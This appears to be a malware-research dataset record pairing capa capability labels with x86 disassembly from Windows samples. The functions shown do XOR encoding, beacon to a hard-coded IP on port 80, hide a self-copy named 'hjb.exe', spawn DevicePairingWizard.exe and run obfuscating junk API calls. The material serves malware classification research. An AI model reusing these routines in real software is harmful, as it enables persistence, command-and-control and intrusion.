joyce8/EMBER2024-capa huggingface dataset:
Function at 0x595a80
Capabilities:
Encode data using xor

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0xc
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
mov dword [esp + 4], edx
cmp edx, 7
jbe 0x595add
lea esi, [edx - 8]
shr esi, 3
lea ebp, [esi*8 + 8]
xor esi, esi
nop
lea esi, [esi]
mov ebx, dword [esp + 0x28]
mov edi, dword [ecx + esi]
xor edi, dword [ebx + esi]
mov dword [eax + esi], edi
mov edi, dword [ecx + esi + 4]
xor edi, dword [ebx + esi + 4]
mov dword [eax + esi + 4], edi
add esi, 8
cmp esi, ebp
jne 0x595ab0
add dword [esp + 0x28], esi
add eax, esi
add ecx, esi
and dword [esp + 4], 7
mov edx, dword [esp + 4]
test edx, edx
je 0x595b78
lea esi, [ecx + 4]
lea ebp, [eax + 4]
cmp eax, esi
setae bl
cmp ecx, ebp
mov edi, ebx
setae bl
mov esi, ebx
mov ebx, dword [esp + 0x28]
or esi, edi
lea edi, [ebx + 4]
cmp eax, edi
setae bl
cmp dword [esp + 0x28], ebp
mov edi, ebx
setae bl
mov ebp, ebx
or edi, ebp
mov ebp, dword [esp + 4]
and esi, edi
lea edi, [ebp - 1]
cmp edi, 3
seta bl
mov edi, ebx
mov ebx, esi
mov edx, edi
test bl, dl
je 0x595b80
mov esi, dword [esp + 0x28]
or esi, ecx
or esi, eax
and esi, 3
jne 0x595b80
mov ebx, dword [esp + 0x28]
mov edx, dword [esp + 0x28]
mov esi, dword [ebx]
xor esi, dword [ecx]
mov dword [eax], esi
movzx ebx, byte [ecx + 4]
xor bl, byte [edx + 4]
mov byte [eax + 4], bl
cmp ebp, 5
je 0x595b78
mov ebx, dword [esp + 0x28]
movzx edx, byte [ecx + 5]
xor dl, byte [ebx + 5]
mov byte [eax + 5], dl
cmp ebp, 6
je 0x595b78
movzx ecx, byte [ecx + 6]
xor cl, byte [ebx + 6]
mov byte [eax + 6], cl
add esp, 0xc
pop ebx
pop esi
pop edi
pop ebp
ret
mov ebx, dword [esp + 0x28]
movzx edx, byte [ecx]
xor dl, byte [ebx]
mov ebx, dword [esp + 4]
mov byte [eax], dl
cmp ebx, 1
je 0x595b78
mov edi, dword [esp + 0x28]
movzx edx, byte [ecx + 1]
xor dl, byte [edi + 1]
mov byte [eax + 1], dl
cmp ebx, 2
je 0x595b78
movzx edx, byte [ecx + 2]
xor dl, byte [edi + 2]
mov byte [eax + 2], dl
cmp ebx, 3
je 0x595b78
movzx edx, byte [ecx + 3]
xor dl, byte [edi + 3]
mov byte [eax + 3], dl
cmp ebx, 4
je 0x595b78
movzx edx, byte [ecx + 4]
xor dl, byte [edi + 4]
mov byte [eax + 4], dl
cmp ebx, 5
je 0x595b78
movzx edx, byte [ecx + 5]
xor dl, byte [edi + 5]
mov byte [eax + 5], dl
cmp ebx, 6
je 0x595b78
movzx ecx, byte [ecx + 6]
xor cl, byte [edi + 6]
mov byte [eax + 6], cl
jmp 0x595b78
Function at 0x595bf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push edi
push esi
push ebx
mov esi, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
cmp esi, 7
jbe 0x595cc1
lea edx, [esi - 8]
shr edx, 3
lea edi, [edx*8 + 8]
mov edx, ebx
lea ecx, [eax + edi]
nop
lea esi, [esi]
mov ebp, dword [edx]
xor dword [eax], ebp
add edx, 8
mov ebp, dword [edx - 4]
xor dword [eax + 4], ebp
add eax, 8
cmp eax, ecx
jne 0x595c20
add ebx, edi
and esi, 7
test esi, esi
je 0x595c8c
lea eax, [ecx + 4]
lea edx, [ebx + 4]
cmp ebx, eax
setae al
cmp ecx, edx
setae dl
or eax, edx
lea edx, [esi - 1]
cmp edx, 2
seta dl
test al, dl
je 0x595c91
mov eax, ebx
or eax, ecx
test al, 3
jne 0x595c91
mov eax, dword [ebx]
xor dword [ecx], eax
cmp esi, 4
je 0x595c8c
movzx eax, byte [ebx + 4]
xor byte [ecx + 4], al
cmp esi, 5
je 0x595c8c
movzx eax, byte [ebx + 5]
xor byte [ecx + 5], al
cmp esi, 6
je 0x595c8c
movzx eax, byte [ebx + 6]
xor byte [ecx + 6], al
pop ebx
pop esi
pop edi
pop ebp
ret
movzx eax, byte [ebx]
xor byte [ecx], al
cmp esi, 1
je 0x595c8c
movzx eax, byte [ebx + 1]
xor byte [ecx + 1], al
cmp esi, 2
je 0x595c8c
movzx eax, byte [ebx + 2]
xor byte [ecx + 2], al
cmp esi, 3
je 0x595c8c
movzx eax, byte [ebx + 3]
xor byte [ecx + 3], al
cmp esi, 4
jne 0x595c6d
jmp 0x595c8c
mov ecx, eax
jmp 0x595c39
Function at 0x5a3320
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ecx, 0x1a
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x80]
mov esi, 0x6f86c5
push ebx
sub esp, 0x9c
mov eax, dword [str.not_enough_space_for_format_expansion__Please_submit_full_bug_report_at_https:__gcc.gnu.org_bugs__:_n]
mov dword [ebp - 0x81], eax
mov eax, dword [0x6f8729]
mov dword [ebp - 0x1c], eax
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp + 8]
lea eax, [edx + 0x84]
and eax, 0xfffffff0
call fcn.00558868
mov ecx, 0x1a
sub esp, eax
lea esi, [ebp - 0x81]
mov dword [ebp - 0x8c], edx
lea ebx, [esp + 0x1b]
and ebx, 0xfffffff0
mov edi, ebx
lea eax, [ebx + 0x68]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp + 8]
mov dword [esp + 8], edx
mov dword [esp], eax
mov dword [esp + 4], ecx
call sub.msvcrt.dll_memcpy
mov edx, dword [ebp - 0x8c]
mov byte [ebx + edx + 0x68], 0
mov dword [esp], ebx
call fcn.00635c70
nop
nop
nop
nop
nop
nop
nop
push edi
push esi
push ebx
sub esp, 0x20
cmp byte [0x68abc4], 0
jne 0x5a3446
mov byte [0x68abc4], 1
call fcn.00641940
test eax, eax
je 0x5a3414
mov ebx, dword [eax + 4]
xor eax, eax
cmp byte [ebx], 0x2a
mov dword [esp + 8], 0
sete al
mov dword [esp + 4], 0
add ebx, eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0xc], eax
mov dword [esp], ebx
call fcn.00558650
mov dword [esp], 2
mov esi, dword [fcn.00563c90]
mov edi, eax
call esi
mov dword [esp + 8], 0x30
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_after_throwing_an_instance_of_
call sub.msvcrt.dll_fwrite
mov edx, dword [esp + 0x1c]
mov dword [esp], 2
test edx, edx
je 0x5a3404
call esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputs
mov dword [esp], 2
call esi
mov dword [esp + 8], 2
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], 0x6f782d
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x6676a4
jmp 0x66769c
call esi
mov dword [esp], edi
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputs
jmp 0x5a33ca
mov dword [esp], 2
call dword [0x689158]
mov dword [esp + 8], 0x2d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_without_an_active_exception_n
call sub.msvcrt.dll_fwrite
jmp 0x667697
mov dword [esp], 2
call dword [0x689158]
mov dword [esp + 8], 0x1d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_recursively_n
call sub.msvcrt.dll_fwrite
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
mov ebx, ecx
sub esp, 0x18
mov dword [ecx], 0x70b500
call fcn.00633b70
mov dword [esp], ebx
mov dword [esp + 4], 4
call fcn.00641630
add esp, 0x18
pop ebx
ret
Function at 0x6673b0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00563c90
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00563c90
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
Function at 0x401030
Capabilities:
Delete file
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
cmp dword [0x84390c], 0x594
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax]
mov eax, dword [eax + 4]
push edi
mov dword [ebp - 8], eax
jne 0x40105b
push str.cekokebe_fufelicuceranafuwiw_lacucizudotogojigodecebetuxiy_rahewanabijodurihipetiro_kopedov
call dword [sym.imp.KERNEL32.dll_AddAtomA]
mov ecx, dword [0x4250d8]
mov edx, dword [0x4250dc]
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
call fcn.00401020
mov edi, dword [ebp - 0x18]
mov eax, dword [0x4250e0]
mov ecx, dword [0x4250e4]
add edi, 0x23f
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
mov ebx, 0x20
mov edi, edi
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov ecx, dword [0x84390c]
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x401102
push 0
lea edx, [ebp - 0x34]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
xor eax, eax
lea edx, [ebp - 0x38]
push edx
mov word [ebp - 0x1c], ax
mov word [ebp - 0x1a], cx
mov eax, dword [ebp - 0x1c]
push eax
push ecx
push str.necumo
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov eax, dword [ebp - 4]
mov ecx, dword [0x84390c]
add eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
jne 0x40111c
mov dword [0x843908], 0xedeb2e40
jmp 0x40113e
cmp ecx, 0x3eb
jne 0x40113e
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov dword [0x8432bc], 0
lea ecx, [edi + esi]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0xc]
mov edx, esi
shr edx, cl
mov dword [0x843904], 0xf4ea3dee
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov edx, dword [ebp - 8]
shl edx, 4
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
nop
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov eax, edx
shr eax, cl
mov ecx, dword [ebp - 4]
add edi, 0x61c88647
mov dword [ebp - 0x18], edi
add eax, dword [ebp - 0x30]
xor eax, dword [ebp - 0x14]
xor ecx, eax
sub esi, ecx
sub ebx, 1
mov dword [ebp - 4], ecx
jne 0x4010a0
cmp dword [0x84390c], 0xa6d
mov edi, dword [ebp + 8]
mov dword [edi], esi
jne 0x4011f1
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [ebp - 8]
mov dword [edi + 4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4015c0
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [0x84390c], 0x400
push esi
push edi
jne 0x401605
xor ecx, ecx
xor eax, eax
lea edx, [ebp - 4]
push edx
mov word [ebp - 4], ax
mov word [ebp - 2], cx
mov eax, dword [ebp - 4]
push eax
push ecx
push str.dabuvuwififagazewot
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
lea eax, [ebp - 0x24]
call fcn.004016d0
lea esi, [ebp - 0x24]
call fcn.004016f0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov ebx, dword [ebp - 4]
xor esi, esi
call edi
cmp esi, 0x2af2ad
jle 0x401623
cmp ebx, 0x787e1485
jne 0x40162c
inc esi
cmp esi, 0x1c5d
jl 0x401611
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
lea ebx, [ebx]
push 0
call edi
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, 0x206d47
jg 0x40165d
inc esi
cmp esi, 0x4f6a4
jl 0x401640
mov ebx, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
xor esi, esi
push 0
call edi
cmp esi, 0x2b259d
jle 0x40167c
cmp ebx, 0x785074d5
jne 0x401685
inc esi
cmp esi, 0x11915
jl 0x401668
mov ecx, dword [0x42531c]
mov dword [0x84390c], ecx
call fcn.00401340
mov esi, dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov edi, 0x3078f
pop ebx
cmp dword [0x84390c], 0x51f
jne 0x4016b4
push 0
push 0
call esi
sub edi, 1
jne 0x4016a2
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4051ac
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424564]
jne 0x4051b6
repz ret
jmp fcn.00407745
Function at 0x406cbc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402c79
and dword [ebp - 4], 0
cmp dword [0x425cfc], 0
mov ebx, eax
jne 0x406d6d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406e1e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x406e1e
push eax
call fcn.00402c07
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x425cfc], eax
call esi
push eax
call fcn.00402c07
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x425d00], eax
call esi
push eax
call fcn.00402c07
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x425d04], eax
call esi
push eax
call fcn.00402c07
pop ecx
mov dword [0x425d0c], eax
test eax, eax
je 0x406d6d
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402c07
pop ecx
mov dword [0x425d08], eax
mov eax, dword [0x425d08]
cmp eax, ebx
je 0x406dc5
cmp dword [0x425d0c], ebx
je 0x406dc5
push eax
call fcn.00402c82
push dword [0x425d0c]
mov esi, eax
call fcn.00402c82
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x406dc5
test edi, edi
je 0x406dc5
call esi
test eax, eax
je 0x406dbc
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x406dbc
test byte [ebp - 0xc], 1
jne 0x406dc5
or dword [ebp + 0x10], 0x200000
jmp 0x406dfe
mov eax, dword [0x425d00]
cmp eax, ebx
je 0x406dfe
push eax
call fcn.00402c82
pop ecx
test eax, eax
je 0x406dfe
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406dfe
mov eax, dword [0x425d04]
cmp eax, ebx
je 0x406dfe
push eax
call fcn.00402c82
pop ecx
test eax, eax
je 0x406dfe
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x425cfc]
call fcn.00402c82
pop ecx
test eax, eax
je 0x406e1e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406e20
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, 0x202
mov word [ebp - 4], ax
lea ecx, [ebp - 0x194]
push ecx
movzx edx, word [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40102c
xor al, al
jmp 0x401064
movzx eax, word [ebp - 0x194]
and eax, 0xff
movzx ecx, al
cmp ecx, 2
jne 0x401058
movzx edx, word [ebp - 0x194]
shr edx, 8
and edx, 0xff
movzx eax, dl
cmp eax, 2
je 0x401062
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor al, al
jmp 0x401064
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x401070
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push str.35.238.161.238
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 4], eax
xor eax, eax
jne 0x401082
cmp dword [ebp - 4], 0
je 0x4010b3
xor ecx, ecx
jne 0x40108c
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
mov eax, dword [eax + edx]
mov ecx, dword [ebp + 8]
mov edx, dword [eax]
mov dword [ecx + 4], edx
xor eax, eax
jne 0x4010a9
xor eax, eax
jmp 0x4010bc
xor ecx, ecx
jne 0x4010b3
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x4010c0
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
jne 0x4010c3
push 0x10
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x4010ea
xor ecx, ecx
jne 0x4010dd
mov eax, 1
jmp 0x4010f0
xor edx, edx
jne 0x4010ea
xor eax, eax
pop ebp
ret
Function at 0x401320
Capabilities:
Create tcp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call section..text
movzx eax, al
test eax, eax
jne 0x401337
jmp 0x4014e1
mov dword [0x405020], 0x402eb5
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
xor edx, edx
jne 0x40134f
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x401371
xor eax, eax
jne 0x401368
jmp 0x4014e1
xor ecx, ecx
jne 0x401371
push 0x50
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1a], ax
mov edx, 2
mov word [ebp - 0x1c], dx
lea eax, [ebp - 0x1c]
push eax
call fcn.00401070
add esp, 4
test eax, eax
je 0x4013a4
jmp 0x4014dd
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.004010c0
add esp, 8
test eax, eax
je 0x4013c2
jmp 0x4014dd
push 0x403200
push 0x405028
call fcn.00401580
add esp, 8
push 0x405028
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
add eax, 1
push eax
push 0x405028
lea eax, [ebp - 4]
push eax
call fcn.00401100
add esp, 0xc
test eax, eax
je 0x401404
jmp 0x4014a8
mov ecx, 1
test ecx, ecx
je 0x4014a8
push 0x405828
lea edx, [ebp - 4]
push edx
call fcn.00401140
add esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40142f
jmp 0x4014a8
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x405828], 0
xor ecx, ecx
jne 0x401439
push 0x403208
push 0x405828
call dword [0x405020]
add esp, 8
test eax, eax
jne 0x401465
xor edx, edx
jne 0x401454
mov dword [ebp - 8], 3
jmp 0x4014a8
lea eax, [ebp - 4]
push eax
call fcn.004011f0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 1
jne 0x401486
xor ecx, ecx
jne 0x40147a
call dword [0x406010]
jmp 0x401490
cmp dword [ebp - 8], 2
jne 0x401490
jmp 0x4014a8
xor edx, edx
jne 0x401490
mov eax, 1
imul ecx, eax, 0
mov byte [ecx + 0x405028], 0
jmp 0x401404
cmp dword [ebp - 4], 0xffffffff
je 0x4014d7
push 0
push 0x40320c
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
push eax
push str.BYE_n
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor ecx, ecx
jne 0x4014dd
mov esp, ebp
pop ebp
ret
Function at 0x401780
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x17c
push 0x400
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
mov dword [ebp - 0x34], 0x155
push 0x155
push 0x403278
mov eax, dword [ebp - 8]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [ebp - 4], 0
jmp 0x4017cf
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x400
jae 0x4017ea
mov edx, dword [ebp - 8]
add edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov cl, byte [eax]
mov byte [edx], cl
jmp 0x4017c6
mov dword [ebp - 0xc], str.DevicePairingWizard.exe
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [ebp - 0x18], 0
je 0x401827
mov eax, dword [ebp - 0xc]
push eax
push str.C:WindowsSysWOW64_
push 0x403490
lea ecx, [ebp - 0x17c]
push ecx
call fcn.00401580
add esp, 0x10
jmp 0x401844
mov edx, dword [ebp - 0xc]
push edx
push str.C:WindowsSystem32_
push 0x4034b0
lea eax, [ebp - 0x17c]
push eax
call fcn.00401580
add esp, 0x10
mov dword [ebp - 0x1c], 0
push 0x44
push 0
lea ecx, [ebp - 0x78]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], edx
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x78]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x1c]
push edx
push 0
push 0
push 0
lea eax, [ebp - 0x17c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x14], ecx
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x4018b8
mov dword [ebp - 0x10], 1
jmp 0x4018bf
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4018e5
push 0x30
push str.With_A_Little_Help_From_My_Friends_
push str.You_tend_to_keep_stale_stuff_around__dont_you__n_nId_rather_leave_now__so_you_can_clean_up.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
call dword [0x406010]
push 0x400
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401670
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x401950
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x17c
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov cx, word [ebp - 0x30]
mov word [ebp - 0x14], cx
movzx edx, word [ebp - 0x30]
test edx, edx
je 0x40197c
movzx eax, word [ebp - 0x30]
cmp eax, 6
jne 0x4019a1
mov ecx, dword [0x403808]
mov dword [ebp - 0x10], ecx
mov edx, dword [0x40380c]
mov dword [ebp - 0xc], edx
mov eax, dword [0x403810]
mov dword [ebp - 8], eax
mov ecx, dword [0x403814]
mov dword [ebp - 4], ecx
jmp 0x4019f1
movzx edx, word [ebp - 0x30]
cmp edx, 3
jle 0x4019ce
mov eax, dword [0x4037f8]
mov dword [ebp - 0x10], eax
mov ecx, dword [0x4037fc]
mov dword [ebp - 0xc], ecx
mov edx, dword [0x403800]
mov dword [ebp - 8], edx
mov eax, dword [0x403804]
mov dword [ebp - 4], eax
jmp 0x4019f1
mov ecx, dword [0x403818]
mov dword [ebp - 0x10], ecx
mov edx, dword [0x40381c]
mov dword [ebp - 0xc], edx
mov eax, dword [0x403820]
mov dword [ebp - 8], eax
mov ecx, dword [0x403824]
mov dword [ebp - 4], ecx
push 0x40
lea edx, [ebp - 0x78]
push edx
push str.7368656c6c33322e646c6c
call fcn.004022b0
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x18], eax
push 0x40
lea ecx, [ebp - 0x78]
push ecx
push str.53484765744b6e6f776e466f6c64657250617468
call fcn.004022b0
add esp, 0xc
lea edx, [ebp - 0x78]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0x20]
push ecx
push 0
push 0
lea edx, [ebp - 0x10]
push edx
call dword [ebp - 0x1c]
mov dword [ebp - 0x38], eax
push 0x104
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
add esp, 0xc
push 0x104
lea edx, [ebp - 0x17c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x24], str.hjb.exe
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x4035ac
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401c20
add esp, 0x14
push 0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x17c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x401ab8
push 3
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esp, ebp
pop ebp
ret